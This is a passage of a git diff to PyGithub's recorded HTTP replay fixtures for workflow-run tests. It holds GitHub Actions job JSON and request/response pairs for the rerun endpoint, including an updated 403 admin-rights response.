actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:29.000Z","completed_at":"2023-01-10T08:24:31.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:31.000Z","completed_at":"2023-01-10T08:24:31.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:32.000Z","completed_at":"2023-01-10T08:24:38.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:38.000Z","completed_at":"2023-01-10T08:25:25.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:25.000Z","completed_at":"2023-01-10T08:25:27.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:27.000Z","completed_at":"2023-01-10T08:25:27.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:27.000Z","completed_at":"2023-01-10T08:25:27.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:27.000Z","completed_at":"2023-01-10T08:25:27.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545727758","labels":["ubuntu-latest"],"runner_id":1,"runner_name":"Hosted Agent","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545727888,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMJkA","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545727888","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620564849","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:21Z","started_at":"2023-01-10T08:24:30Z","completed_at":"2023-01-10T08:28:18Z","name":"test (Python 3.8)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:49.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:49.000Z","completed_at":"2023-01-10T08:25:28.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:25:28.000Z","completed_at":"2023-01-10T08:25:28.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:25:28.000Z","completed_at":"2023-01-10T08:25:32.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:25:33.000Z","completed_at":"2023-01-10T08:28:14.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:28:15.000Z","completed_at":"2023-01-10T08:28:16.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:28:17.000Z","completed_at":"2023-01-10T08:28:17.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:28:17.000Z","completed_at":"2023-01-10T08:28:17.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:28:17.000Z","completed_at":"2023-01-10T08:28:17.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545727888","labels":["ubuntu-latest"],"runner_id":5,"runner_name":"GitHub Actions 5","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545728039,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMKJw","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545728039","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620564960","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:22Z","started_at":"2023-01-10T08:24:31Z","completed_at":"2023-01-10T08:25:30Z","name":"test (Python 3.9)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:32.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:32.000Z","completed_at":"2023-01-10T08:24:34.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:35.000Z","completed_at":"2023-01-10T08:24:35.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:35.000Z","completed_at":"2023-01-10T08:24:39.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:39.000Z","completed_at":"2023-01-10T08:25:26.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:26.000Z","completed_at":"2023-01-10T08:25:28.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:30.000Z","completed_at":"2023-01-10T08:25:30.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:30.000Z","completed_at":"2023-01-10T08:25:30.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:29.000Z","completed_at":"2023-01-10T08:25:29.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545728039","labels":["ubuntu-latest"],"runner_id":4,"runner_name":"GitHub Actions 4","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545728190,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMKvg","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545728190","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620565085","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:22Z","started_at":"2023-01-10T08:24:28Z","completed_at":"2023-01-10T08:25:46Z","name":"test (Python 3.10)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:28.000Z","completed_at":"2023-01-10T08:24:30.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:32.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:32.000Z","completed_at":"2023-01-10T08:24:32.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:34.000Z","completed_at":"2023-01-10T08:24:41.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:41.000Z","completed_at":"2023-01-10T08:25:40.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:41.000Z","completed_at":"2023-01-10T08:25:43.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:44.000Z","completed_at":"2023-01-10T08:25:44.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:44.000Z","completed_at":"2023-01-10T08:25:44.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:44.000Z","completed_at":"2023-01-10T08:25:44.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545728190","labels":["ubuntu-latest"],"runner_id":3,"runner_name":"GitHub Actions 3","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545728356,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMLZA","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545728356","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620565227","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:22Z","started_at":"2023-01-10T08:24:31Z","completed_at":"2023-01-10T08:25:50Z","name":"test (Python 3.11-dev)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:33.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:33.000Z","completed_at":"2023-01-10T08:24:35.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:35.000Z","completed_at":"2023-01-10T08:24:35.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:36.000Z","completed_at":"2023-01-10T08:24:41.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:41.000Z","completed_at":"2023-01-10T08:25:45.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:45.000Z","completed_at":"2023-01-10T08:25:48.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:48.000Z","completed_at":"2023-01-10T08:25:48.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:48.000Z","completed_at":"2023-01-10T08:25:48.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:48.000Z","completed_at":"2023-01-10T08:25:48.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545728356","labels":["ubuntu-latest"],"runner_id":2,"runner_name":"GitHub Actions 2","runner_group_id":2,"runner_group_name":"GitHub Actions"}]} diff --git a/tests/ReplayData/WorkflowRun.test_rerun.txt b/tests/ReplayData/WorkflowRun.test_rerun.txt index ac9b21407f..6b23fb8443 100644 --- a/tests/ReplayData/WorkflowRun.test_rerun.txt +++ b/tests/ReplayData/WorkflowRun.test_rerun.txt @@ -1,10 +1,21 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/actions/runs/3910280793 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"89d9fde12e552b2852b7a1dbda3882f4d2f4f9288ca086f90e002a1d813d9179"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '26'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '34'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBE:4413:7A50:CA12:63C15A7A')] +{"id":3910280793,"name":"CI","node_id":"WFR_kwLOADYVqs7pEiZZ","head_branch":"feat/workflow-run","head_sha":"867fef461ec43e56fab73556ac4570d663a6a733","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":932,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1903133,"check_suite_id":10351510366,"check_suite_node_id":"CS_kwDOADYVqs8AAAACaP-DXg","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3910280793","pull_requests":[],"created_at":"2023-01-13T10:02:50Z","updated_at":"2023-01-13T10:04:23Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-13T10:02:50Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10351510366","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"867fef461ec43e56fab73556ac4570d663a6a733","tree_id":"be6b8e31e143ad936bbeaaa292a899e3ef056030","message":"update tests","timestamp":"2023-01-13T10:02:11Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} + https POST api.github.com None -/repos/PyGithub/PyGithub/actions/runs/148274629/rerun +/repos/PyGithub/PyGithub/actions/runs/3910280793/rerun {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None -201 -[('Date', 'Fri, 26 Jun 2020 05:04:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4949'), ('X-RateLimit-Reset', '1593150230'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"f4f61bef4e0189176324081da79fde4b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '9B54:4D5E:1A253C:1E86A7:5EF581DF')] -{} +403 +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '25'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '35'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBF:42BA:0E45:5D33:63C15A7B')] +{"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#re-run-a-workflow"} diff --git a/tests/ReplayData/WorkflowRun.test_rerun_with_successful_run.txt b/tests/ReplayData/WorkflowRun.test_rerun_with_successful_run.txt index 701273fddd..55aa0426e1 100644 --- a/tests/ReplayData/WorkflowRun.test_rerun_with_successful_run.txt +++ b/tests/ReplayData/WorkflowRun.test_rerun_with_successful_run.txt @@ -2,21 +2,20 @@ https GET api.github.com None -/repos/PyGithub/PyGithub/actions/runs/145732882 +/repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Fri, 26 Jun 2020 04:57:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4966'), ('X-RateLimit-Reset', '1593150231'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"ccd8094f86c973ecdaa882db4bc9b97c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D19C:12AD:784D1:8D22C:5EF58034')] 